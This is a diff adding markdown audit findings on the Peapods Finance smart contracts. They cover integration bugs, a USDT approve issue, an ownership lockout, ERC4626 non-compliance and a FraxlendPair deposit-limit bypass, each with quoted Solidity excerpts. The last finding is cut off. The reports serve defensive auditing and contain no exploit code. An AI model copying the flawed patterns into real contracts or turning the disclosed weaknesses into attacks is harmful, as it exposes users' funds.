+There are two kinds of self-lending pods. The first is the regular one, where the pairedLpTKN for a pod is a fraxlend paired fTKN. However, there is also an "advanced feature", so the pairedLpTKN is a podded fTKN (which makes it a pfTKN). This can be seen in `LeverageManager.sol` contract when initializing a leverage position where `_hasSelfLendingPairPod` is set to true.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L60
+
+```solidity
+ /// @notice The ```initializePosition``` function initializes a new position and mints a new position NFT
+ /// @param _pod The pod to leverage against for the new position
+ /// @param _recipient User to receive the position NFT
+ /// @param _overrideLendingPair If it's a self-lending pod, an override lending pair the user will use
+@> /// @param _hasSelfLendingPairPod bool Advanced implementation parameter that determines whether or not the self lending pod's paired LP asset (fTKN) is podded as well
+ function initializePosition(
+ address _pod,
+ address _recipient,
+ address _overrideLendingPair,
+ bool _hasSelfLendingPairPod
+ ) external override returns (uint256 _positionId) {
+ _positionId = _initializePosition(_pod, _recipient, _overrideLendingPair, _hasSelfLendingPairPod);
+ }
+```
+
+Now, back to removeLeverage feature. If borrowedTKN is not enough to repay the flashloan, we need to swap pTKN to acquire borrowedTKN. we can see in `_acquireBorrowTokenForRepayment()` function, if `_isPodSelfLending(_props.positionId)` is true, it conducts a pTKN -> pairedLpTKN swap, but it assumes pairedLpTKN is always a fTKN, and does not handle where the pairedLpTKN is a podded fTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol
+
+```solidity
+ function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) internal returns (uint256 _podAmtRemaining) {
+ _podAmtRemaining = _podAmtReceived;
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ if (_userProvidedDebtAmtMax > 0) {
+ uint256 _borrowAmtFromUser =
+ _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
+ _borrowAmtNeededToSwap -= _borrowAmtFromUser;
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+ // sell pod token into LP for enough borrow token to get enough to repay
+ // if self-lending swap for lending pair then redeem for borrow token
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ // @audit-bug: If lendingPair is a podded fTKN, it does not support convertToShares at all.
+@> IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ // @audit-bug: This does not support the "advanced" feature where `_hasSelfLendingPairPod` is true.
+@> IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+ } else {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- `_hasSelfLendingPairPod` is set to true, and a podded fTKN is used for a self lending pod.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+removeLeverage will fail to for the podded fTKN self-lending pod.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Support the feature.
\ No newline at end of file
diff --git a/488.md b/488.md
new file mode 100644
index 0000000..d0ba09f
--- /dev/null
+++ b/488.md
@@ -0,0 +1,77 @@
+Keen Jetblack Deer
+
+Medium
+
+# LeverageManager addLeverageFromTkn uses `.approve()` which does not support USDT.
+
+
+### Summary
+
+LeverageManager addLeverageFromTkn uses `.approve()` which does not support USDT.
+
+### Root Cause
+
+If a pod has USDT has underlying token, it will fail with `addLeverageFromTkn()` feature, where we first bond the underlying token to pTKN. This is because `.approve()` is used, and USDT does not have approve return value, so `safeIncreaseAllowance()` should be used.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function addLeverageFromTkn(
+ uint256 _positionId,
+ address _pod,
+ uint256 _tknAmt,
+ uint256 _amtPtknMintMin,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+ ) external override workflow(true) {
+ uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+ _bondToPod(_msgSender(), _pod, _tknAmt, _amtPtknMintMin);
+ _addLeveragePreCallback(
+ _msgSender(),
+ _positionId,
+ _pod,
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore,
+ _pairedLpDesired,
+ _userProvidedDebtAmt,
+ _hasSelfLendingPairPod,
+ _config
+ );
+ }
+
+ function _bondToPod(address _user, address _pod, uint256 _tknAmt, uint256 _amtPtknMintMin) internal {
+ IDecentralizedIndex.IndexAssetInfo[] memory _podAssets = IDecentralizedIndex(_pod).getAllAssets();
+ IERC20 _tkn = IERC20(_podAssets[0].token);
+ uint256 _tknBalBefore = _tkn.balanceOf(address(this));
+ _tkn.safeTransferFrom(_user, address(this), _tknAmt);
+ uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+@> _tkn.approve(_pod, _tkn.balanceOf(address(this)) - _tknBalBefore);
+ IDecentralizedIndex(_pod).bond(address(_tkn), _tkn.balanceOf(address(this)) - _tknBalBefore, _amtPtknMintMin);
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore;
+ }
+```
+
+### Internal pre-conditions
+
+- tokens like USDT is used as underlying token.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+The `addLeverageFromTkn()` feature would fail.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use `SafeERC20.safeIncreaseAllowance` instead.
\ No newline at end of file
diff --git a/489.md b/489.md
new file mode 100644
index 0000000..e893c4a
--- /dev/null
+++ b/489.md
@@ -0,0 +1,103 @@
+Keen Jetblack Deer
+
+Medium
+
+# `LeverageManager` ownership is set to `LeverageFactory`, which cannot call `setFlashSource()`.
+
+
+### Summary
+
+`LeverageManager` ownership is set to `LeverageFactory`, which cannot call `setFlashSource()`.
+
+### Root Cause
+
+`LeverageManager` inherits `LeverageManagerAccessControl`, which only the owner can set `lendingPairs[]` and `flashSource[]`. The issue here is, obviously the owner of `LeverageManager` is `LeverageFactory`, this can be inferred by `LeverageFactory` always call `setLendingPair()` when setting up a self-lending pod. However, `LeverageFactory` does not have any method to call `setFlashSource()`, nor transfer the ownership of `LeverageManager`.
+
+This means once `LeverageFactory` owns `LeverageManager`, no new flashloan sources can be added. This makes it impossible to support new underlying tokens.
+
+The fix here should be in `LeverageManagerAccessControl`, where the owner can set a `leverageFactory` contract address, and allow it to update `lendingPair[]`, instead of transferring the ownership to `LeverageFactory`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManagerAccessControl.sol#L1
+
+```solidity
+contract LeverageManagerAccessControl is Ownable, ILeverageManagerAccessControl {
+ // pod => pair
+ mapping(address => address) public override lendingPairs;
+ // borrow asset (USDC, DAI, pOHM, etc.) => flash source
+ mapping(address => address) public override flashSource;
+
+ constructor() Ownable(_msgSender()) {}
+
+@> function setLendingPair(address _pod, address _pair) external override onlyOwner {
+ if (_pair != address(0)) {
+ require(IFraxlendPair(_pair).collateralContract() != address(0), "LPS");
+ }
+ lendingPairs[_pod] = _pair;
+ }
+
+@> function setFlashSource(address _borrowAsset, address _flashSource) external override onlyOwner {
+ if (_flashSource != address(0)) {
+ require(IFlashLoanSource(_flashSource).source() != address(0), "AFS");
+ }
+ flashSource[_borrowAsset] = _flashSource;
+ }
+}
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol
+
+```solidity
+ function addLvfSupportForPod(
+ address _pod,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external onlyOwner returns (address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ address _borrowTkn = IDecentralizedIndex(_pod).PAIRED_LP_TOKEN();
+ require(ILeverageManagerAccessControl(leverageManager).flashSource(_borrowTkn) != address(0), "FS2");
+ uint256 _aspMinDep = IAspTknFactory(aspTknFactory).minimumDepositAtCreation();
+ if (_aspMinDep > 0) {
+ address _spTkn = IDecentralizedIndex(_pod).lpStakingPool();
+ IERC20(_spTkn).safeTransferFrom(_msgSender(), address(this), _aspMinDep);
+ IERC20(_spTkn).safeIncreaseAllowance(aspTknFactory, _aspMinDep);
+ }
+ _aspTkn = _getOrCreateAspTkn(
+ "", IERC20Metadata(_pod).name(), IERC20Metadata(_pod).symbol(), _pod, _dexAdapter, _indexUtils, false, false
+ );
+ _aspTknOracle = IAspTknOracleFactory(aspTknOracleFactory).create(
+ _aspTkn, _aspTknOracleRequiredImmutables, _aspTknOracleOptionalImmutables, 0
+ );
+ _fraxlendPair = _createFraxlendPair(_borrowTkn, _aspTkn, _aspTknOracle, _fraxlendPairConfigData);
+
+ // this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+
+ emit AddLvfSupportForPod(_pod, _aspTkn, _aspTknOracle, _fraxlendPair);
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Admin cannot add new flashloan source once the ownership is transferred to LeverageFactory.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+The fix here should be in `LeverageManagerAccessControl`, where the owner can set a `leverageFactory` contract address, and allow it to update `lendingPair[]`, instead of transferring the ownership to `LeverageFactory`.
\ No newline at end of file
diff --git a/490.md b/490.md
new file mode 100644
index 0000000..b7ecb0f
--- /dev/null
+++ b/490.md
@@ -0,0 +1,63 @@
+Keen Jetblack Deer
+
+Medium
+
+# No usable DexAdapter on Berachain.
+
+
+### Summary
+
+No usable DexAdapter on Berachain.
+
+### Root Cause
+
+From the contest README, we know the project is going to be deployed on Berachain.
+
+> Q: On what chains are the smart contracts going to be deployed?
+>
+> Ethereum, Arbitrum One, Base, Mode, Berachain
+
+However, none of the DexAdapters currently supports it.
+
+- [AerodromeDexAdapter](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol)
+- [CamelotDexAdapter](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol)
+- [UniswapDexAdapter](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol)
+
+The current use case is: Uniswap on Ethereum, Aerodrome on Base, Camelot on Arbitrum, Kim (which also uses Uniswap DexAdapter) on Mode.
+
+On Berachain, the native Dex is [BEX](https://docs.bex.berachain.com/learn/), which is a BalancerV2 fork. Currently the adapters only support forks of Uniswap V2/V3, so it can't work with BEX.
+
+There is another [Kodiac](https://documentation.kodiak.finance/), which is a Uniswap V2/V3 fork. However, the current code still can't directly integrate with it.
+
+From Kodiac [docs](https://documentation.kodiak.finance/overview/kodiak-contracts) and [InitCodeHash.sol](https://beratrail.io/address/0xFE5E8C83FFE4d9627A75EaA7Fee864768dB989bD/contract/80094/code), we can see the initCodeHash is different from the current `TwapUtilities` provides. This bricks all `getV3Pool()` calls within Peapods, which uses the initCodeHash to [compute pool address](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/twaputils/V3TwapUtilities.sol#L26). This function is used in multiple places, e.g. TokenRewards swap in [`depositFromPairedLpToken()` function](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L167-L171).
+
+```solidity
+library InitCode {
+ ...
+@> bytes32 internal constant V3_INIT_CODE_HASH = 0xd8e2091bc519b509176fc39aeb148cc8444418d3ce260820edc44e806c2c2339;
+}
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Cannot integrate with and Dex on Berachain, the closest one being Kodiac.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add integration for Kodiac.
\ No newline at end of file
diff --git a/491.md b/491.md
new file mode 100644
index 0000000..55ed1ea
--- /dev/null
+++ b/491.md
@@ -0,0 +1,135 @@
+Keen Jetblack Deer
+
+Medium
+
+# DexAdapter does not correctly support hasTransferTax feature of pTKN.
+
+
+### Summary
+
+DexAdapter does not correctly support hasTransferTax feature of pTKN.
+
+### Root Cause
+
+Even though no underlying fee-on-transfer tokens are supported, the pTKN itself has a hasTransferTax feature, which works as a fee-on-transfer token. So integrations with pTKN should be expected to handle fee-on-transfer.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ ...
+@> } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+In all three DexAdapters (UniswapDexAdapter, AerodromeDexAdapter, CamelotDexAdapter), there are integration issues:
+
+1. `swapV2SingleExactOut()` function. This is used when swapping pTKN -> pairedLpTKN in LeverageManger when removing leverage.
+
+The external [`swapTokensForExactTokens`](https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol#L238) function of UniswapV2Router02 does not support fee-on-transfer token.
+
+```solidity
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ ...
+@> IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
+
+2. `swapV3Single()` function. This is used in AutoCompoundPodLp where rewardTKN swaps to pairedLpTKN, where the pairedLpTKN may be a pod (e.g. pOHM).
+
+The external [`exactInputSingle`](https://github.com/Uniswap/swap-router-contracts/blob/main/contracts/V3SwapRouter.sol#L106) function of SwapRouter02 does not support fee-on-transfer token.
+
+```solidity
+ function swapV3Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint24 _fee,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ ...
+@> ISwapRouter02(V3_ROUTER).exactInputSingle(
+ ISwapRouter02.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ fee: _fee,
+ recipient: _recipient,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin,
+ sqrtPriceLimitX96: 0
+ })
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
+
+3. `removeLiquidity()` function. This is also used when removing leverage in LeverageManager.
+
+UniswapV2Router02 does not consider fee-on-transfer in slippage checks when removing liquidity. Users may be receiving less amount of tokens than expected.
+
+```solidity
+ function removeLiquidity(
+ address _tokenA,
+ address _tokenB,
+ uint256 _liquidity,
+ uint256 _amountAMin,
+ uint256 _amountBMin,
+ address _to,
+ uint256 _deadline
+ ) external virtual override {
+ ...
+@> IUniswapV2Router02(V2_ROUTER).removeLiquidity(
+ _tokenA, _tokenB, _liquidity, _amountAMin, _amountBMin, _to, _deadline
+ );
+ if (IERC20(_pool).balanceOf(address(this)) > _lpBefore) {
+ IERC20(_pool).safeTransfer(_to, IERC20(_pool).balanceOf(address(this)) - _lpBefore);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- pTKN enables hasTransferTax
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+All Dex integrations have issue if pTKN enables hasTransferTax.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix is not trivial.
diff --git a/492.md b/492.md
new file mode 100644
index 0000000..e6e93c5
--- /dev/null
+++ b/492.md
@@ -0,0 +1,86 @@
+Keen Jetblack Deer
+
+Medium
+
+# No usable DexAdapter for Kim swap on Mode.
+
+
+### Summary
+
+No usable DexAdapter for Kim swap on Mode.
+
+### Root Cause
+
+On Mode chain, the [Kim swap](https://docs.kim.exchange/) will be used. Currently there is no KimDexAdapter, only UniswapDexAdapter, AerodromeDexAdapter, CamelotDexAdapter. One would expect Kim swap can reuse one of the existing adapters, however, none can be reused. In fact, from the pPEAS pod on Mode chain, we can see it reuses the CamelotDexAdapter: https://explorer.mode.network/token/0x064efc5cb0b7bc52ac9e717ea5f3f35f3534f855?tab=read_contract
+
+Kim swap's V2 is a fork of UniswapV2, V3 is a fork of AlgebraIntegral (which is also a fork of UniswapV3 with modificatons).
+
+Unlike Uniswap V2, the V2_ROUTER of Camelot/Kim does not by default support the exact output feature, which is the `swapTokensForExactTokens()` function. See [CamelotRouter](https://github.com/CamelotLabs/periphery/blob/main/contracts/CamelotRouter.sol#L246) does not contain this feature. In order to fix this, the `swapV2SingleExactOut()` was overridden and uses a new `V2_ROUTER_UNI` to support this (this is the address of the Uniswap V2 Router).
+
+The bug here is, the contract address of `V2_ROUTER_UNI` is hardcoded to the address for Camelot (on Arbitrum chain), when it should be another address on Mode chain. Thus if we deploy this on Mode chain, it will simply not work.
+
+This will affect the `swapV2SingleExactOut()` function, which is used in LVF when remove leverage for pTKN -> pairedLpTKN swaps. This is not launched yet, so it explains why this issue did not occur already.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L18
+
+```solidity
+contract CamelotDexAdapter is UniswapDexAdapter {
+ using SafeERC20 for IERC20;
+
+@> IUniswapV2Router02 constant V2_ROUTER_UNI = IUniswapV2Router02(0x02b7D3D5438037D49A25ed15ae34F2d0099494B5);
+
+ constructor(IV3TwapUtilities _v3TwapUtilities, address _v2Router, address _v3Router)
+ UniswapDexAdapter(_v3TwapUtilities, _v2Router, _v3Router, true)
+ {}
+ ...
+
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+ _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(address(V2_ROUTER_UNI), _amountInMax);
+@> V2_ROUTER_UNI.swapTokensForExactTokens(_amountOut, _amountInMax, _path, _recipient, block.timestamp);
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+}
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Kim swap does not support LVF removing leverage on Mode chain.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix the `V2_ROUTER_UNI` address.
diff --git a/493.md b/493.md
new file mode 100644
index 0000000..56cf7fc
--- /dev/null
+++ b/493.md
@@ -0,0 +1,42 @@
+Keen Jetblack Deer
+
+Medium
+
+# AerodromeDexAdapter does not support `swapV2SingleExactOut()`.
+
+
+### Summary
+
+AerodromeDexAdapter does not support `swapV2SingleExactOut()`.
+
+### Root Cause
+
+AerodromeDexAdapter inherits UniswapDexAdapter but does not override the `swapV2SingleExactOut()` function. Since Aerodrome and Uniswap has completely different API integration, the `swapV2SingleExactOut()` function is bound to fail.
+
+This function is used in LVF when remove leverage for pTKN -> pairedLpTKN swaps, which means the LVF remove leverage feature will not work on Aerodrome.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L1
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+The LVF remove leverage feature will not on Aerodrome.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add support for `swapV2SingleExactOut()`.
\ No newline at end of file
diff --git a/494.md b/494.md
new file mode 100644
index 0000000..ed7f6b5
--- /dev/null
+++ b/494.md
@@ -0,0 +1,126 @@
+Keen Jetblack Deer
+
+Medium
+
+# Zapper `_swapV3Single()` has multiple integration issues with V3 swap.
+
+
+### Summary
+
+Zapper `_swapV3Single()` has multiple integration issues with V3 swap.
+
+### Root Cause
+
+`IndexUtils#addLPAndStake()` uses the zap feature in case the provided `_pairedLpTokenProvided` token is not equal to `_pairedLpToken`. A swap needs to be conducted first to get the correct pairedLpTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L1
+
+```solidity
+ function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ ...
+ if (_pairedLpTokenProvided != _pairedLpToken) {
+@> _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+ ...
+ }
+```
+
+In Zapper contract, there are multiple swap routes, depending on how `zapMap[in][out]` is defined. One of them is using Uniswap V3. However, there are a couple of issues here:
+
+1. In a single hop swap, the pool fee is forced to be `10000` when quering the TWAP oracle. This is the case for PEAS/pairedLpTKN (protocol team commits to maintaining a PEAS/pairedLpTKN CL pool), however this may not be the case for other tokens. We should simply use `_fee` instead of `10000` here.
+2. On Arbitrum, the `_getPoolFee()` always return 0, which does not work for DEX_ADAPTER. If we are using UniswapV3 on Arbitrum (instead of Camelot), this logic should be removed.
+3. The predefined `V3_ROUTER` is force set to Uniswap router on ethereum mainnet. For multihop v3 swaps, `V3_ROUTER` is used, so it will always fail for other chains, or other DEX routers.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol
+
+```solidity
+ address constant V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
+
+ function _getPoolFee(address _pool) internal view returns (uint24) {
+@> return block.chainid == 42161 ? 0 : IUniswapV3Pool(_pool).fee();
+ }
+
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+@> try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+@> _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+@> _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+
+ function _swapV3Multi(
+ address _in,
+ uint24 _fee1,
+ address _in2,
+ uint24 _fee2,
+ address _out,
+ uint256 _amountIn,
+ uint256 _amountOutMin
+ ) internal returns (uint256) {
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_in).safeIncreaseAllowance(V3_ROUTER, _amountIn);
+ bytes memory _path = abi.encodePacked(_in, _fee1, _in2, _fee2, _out);
+@> ISwapRouter(V3_ROUTER).exactInput(
+ ISwapRouter.ExactInputParams({
+ path: _path,
+ recipient: address(this),
+ deadline: block.timestamp,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin
+ })
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Zap feature does not work as expected, which impacts users calling `IndexUtils#addLPAndStake()`.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+N/A
diff --git a/495.md b/495.md
new file mode 100644
index 0000000..d300e69
--- /dev/null
+++ b/495.md
@@ -0,0 +1,67 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair is not EIP4626 compliant
+
+
+### Summary
+
+FraxlendPair is not EIP4626 compliant.
+
+### Root Cause
+
+First, the README explicitly states ERC4626 should be complied to:
+
+> Q: Is the codebase expected to comply with any specific EIPs?
+>
+> Many of our contracts implement ERC20 and ERC4626 which we attempt to comply with in the entirety of those standards for contracts that implement them.
+
+According to the https://eips.ethereum.org/EIPS/eip-4626,
+
+1. `maxDeposit` and `maxMint` should always return uint256.max if there is no limit.
+
+> MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of shares that may be minted.
+
+> MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of assets that may be deposited.
+
+However, even though `depositLimit` is set to uint256.max [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairAccessControl.sol#L46), the return value of the two functions does not return uint256.max, but subtracts the current asset balance instead.
+
+```solidity
+ function maxDeposit(address) public view returns (uint256 _maxAssets) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _maxAssets =
+ _totalAsset.totalAmount(address(0)) >= depositLimit ? 0 : depositLimit - _totalAsset.totalAmount(address(0));
+ }
+
+ function maxMint(address) external view returns (uint256 _maxShares) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ uint256 _maxDeposit =
+ _totalAsset.totalAmount(address(0)) >= depositLimit ? 0 : depositLimit - _totalAsset.totalAmount(address(0));
+ _maxShares = _totalAsset.toShares(_maxDeposit, false);
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+1. Integrators may have trouble integrating as ERC4626.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+If depositLimit == uint256.max, return uint256 for `maxDeposit()` and `maxMint()` functions.
\ No newline at end of file
diff --git a/496.md b/496.md
new file mode 100644
index 0000000..aad90b2
--- /dev/null
+++ b/496.md
@@ -0,0 +1,99 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair depositLimit should also check for LVA deposits
+
+
+### Summary
+
+In FraxlendPair, there is a `depositLimit` concept, which limits the maximum amount of assets within the FraxlendPair for risk handling. However, this limit only check against user's direct deposit into FraxlendPair, but does not check for LVA deposit. This means the limit can be easily bypassed, leading to increased risk.
+
+### Root Cause
+
+For regular user deposits to FraxlendPair, the depositLimit check is implemented in the `deposit()` function [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L634).
+
+```solidity
+ function deposit(uint256 _amount, address _receiver) external nonReentrant returns (uint256 _sharesReceived) {
+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Check if this deposit will violate the deposit limit
+ // @audit-bug: This should also limit LVA deposits as well.
+@> if (depositLimit < _totalAsset.totalAmount(address(0)) + _amount) revert ExceedsDepositLimit();
+
+ // Calculate the number of fTokens to mint
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+
+ // Execute the deposit effects
+ _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), _receiver, true);
+ }
+```
+
+However, this limit is not added for LVA deposits, specifically in `_depositFromVault()` function, and the internal `_deposit()` function.
+
+```solidity
+ function _depositFromVault(uint256 _amount) internal returns (uint256 _sharesReceived) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of fTokens to mint
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+
+ // Withdraw assets from external vault here
+ externalAssetVault.whitelistWithdraw(_amount);
+
+ // Execute the deposit effects
+ _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), address(externalAssetVault), false);
+ }
+```
+
